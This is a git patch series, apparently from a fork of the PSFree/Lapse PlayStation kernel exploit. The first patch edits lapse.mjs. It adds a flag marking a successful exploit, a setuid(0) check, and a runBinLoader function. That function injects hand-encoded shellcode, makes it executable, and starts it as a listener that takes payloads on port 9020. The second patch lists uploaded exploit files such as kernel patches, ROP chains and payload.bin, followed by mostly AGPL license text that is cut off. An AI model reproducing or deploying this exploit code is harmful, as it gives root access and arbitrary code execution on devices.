From c725928224393461c624191d4a0eee14a421ddd1 Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 13:50:26 +0200 Subject: [PATCH 01/11] Update lapse.mjs --- lapse.mjs | 57 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 56 insertions(+), 1 deletion(-) diff --git a/lapse.mjs b/lapse.mjs index fb9eb7b..1197518 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -1594,7 +1594,9 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { log('setuid(0)'); sysi('setuid', 0); log('kernel exploit succeeded!'); - alert("kernel exploit succeeded!"); + localStorage.ExploitLoaded="yes" + sessionStorage.ExploitLoaded="yes" + //alert("kernel exploit succeeded!"); } @@ -1642,6 +1644,48 @@ function setup(block_fd) { return [block_id, groom_ids]; } +function runBinLoader() { + var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); + var payload_loader = malloc32(0x1000); + var BLDR = payload_loader.backing; + BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC; + BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302; + BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF; + BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8; + BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474; + BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400; + BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000; + BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000; + BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300; + BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C; + BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500; + BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400; + BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348; + BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0; + BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F; + BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA; + BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89; + BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949; + BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900; + BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000; + BLDR[60] = 0xC3050FCA; + + chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); + + var pthread = malloc(0x10); + sysi('mlock', payload_buffer, 0x300000); + + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer + ); + + log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now'); +} + // overview: // * double free a aio_entry (resides at a 0x80 malloc zone) // * type confuse a evf and a ip6_rthdr @@ -1658,6 +1702,17 @@ export async function kexploit() { await init(); const _init_t2 = performance.now(); + try { + chain.sys('setuid', 0); + } catch (e) { + localStorage.ExploitLoaded = "no"; + } + + if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") { + runBinLoader(); + return new Promise(() => {}); + } + // If setuid is successful, we dont need to run the kexploit again try { if (sysi('setuid', 0) == 0) { From 0b3d999ec529f98a0b4964ac57b27242bf707401 Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 13:53:06 +0200 Subject: [PATCH 02/11] Add files via upload --- psfree/COPYING | 661 ++++++++ psfree/LICENSE | 661 ++++++++ psfree/README.md | 30 + psfree/about.html | 116 ++ psfree/alert.mjs | 52 + psfree/cache.html | 23 + psfree/config.mjs | 70 + psfree/fonts/FONTS.LICENSE | 101 ++ psfree/fonts/LiberationMono-Regular.ttf | Bin 0 -> 319624 bytes psfree/fonts/README.txt | 3 + psfree/index.html | 48 + psfree/kpatch/900.c | 183 +++ psfree/kpatch/900.d | 1 + psfree/kpatch/900.elf | Bin 0 -> 5224 bytes psfree/kpatch/900.o | Bin 0 -> 1840 bytes psfree/kpatch/Makefile | 27 + psfree/kpatch/script.ld | 8 + psfree/kpatch/types.h | 28 + psfree/kpatch/utils.h | 61 + psfree/lapse.mjs | 1844 +++++++++++++++++++++++ psfree/module/chain.mjs | 581 +++++++ psfree/module/constants.mjs | 20 + psfree/module/int64.mjs | 133 ++ psfree/module/mem.mjs | 430 ++++++ psfree/module/memtools.mjs | 255 ++++ psfree/module/offset.mjs | 62 + psfree/module/rw.mjs | 140 ++ psfree/module/utils.mjs | 172 +++ psfree/module/view.mjs | 261 ++++ psfree/payload.bin | Bin 0 -> 262976 bytes psfree/payload.js | 6 + psfree/psfree.mjs | 862 +++++++++++ psfree/psfree_lapse.cache | 31 + psfree/rop/900.mjs | 374 +++++ psfree/send.mjs | 231 +++ 35 files changed, 7475 insertions(+) create mode 100644 psfree/COPYING create mode 100644 psfree/LICENSE create mode 100644 psfree/README.md create mode 100644 psfree/about.html create mode 100644 psfree/alert.mjs create mode 100644 psfree/cache.html create mode 100644 psfree/config.mjs create mode 100644 psfree/fonts/FONTS.LICENSE create mode 100644 psfree/fonts/LiberationMono-Regular.ttf create mode 100644 psfree/fonts/README.txt create mode 100644 psfree/index.html create mode 100644 psfree/kpatch/900.c create mode 100644 psfree/kpatch/900.d create mode 100644 psfree/kpatch/900.elf create mode 100644 psfree/kpatch/900.o create mode 100644 psfree/kpatch/Makefile create mode 100644 psfree/kpatch/script.ld create mode 100644 psfree/kpatch/types.h create mode 100644 psfree/kpatch/utils.h create mode 100644 psfree/lapse.mjs create mode 100644 psfree/module/chain.mjs create mode 100644 psfree/module/constants.mjs create mode 100644 psfree/module/int64.mjs create mode 100644 psfree/module/mem.mjs create mode 100644 psfree/module/memtools.mjs create mode 100644 psfree/module/offset.mjs create mode 100644 psfree/module/rw.mjs create mode 100644 psfree/module/utils.mjs create mode 100644 psfree/module/view.mjs create mode 100644 psfree/payload.bin create mode 100644 psfree/payload.js create mode 100644 psfree/psfree.mjs create mode 100644 psfree/psfree_lapse.cache create mode 100644 psfree/rop/900.mjs create mode 100644 psfree/send.mjs diff --git a/psfree/COPYING b/psfree/COPYING new file mode 100644 index 0000000..be3f7b2 --- /dev/null +++ b/psfree/COPYING @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/psfree/LICENSE b/psfree/LICENSE new file mode 100644 index 0000000..be3f7b2 --- /dev/null +++ b/psfree/LICENSE @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to 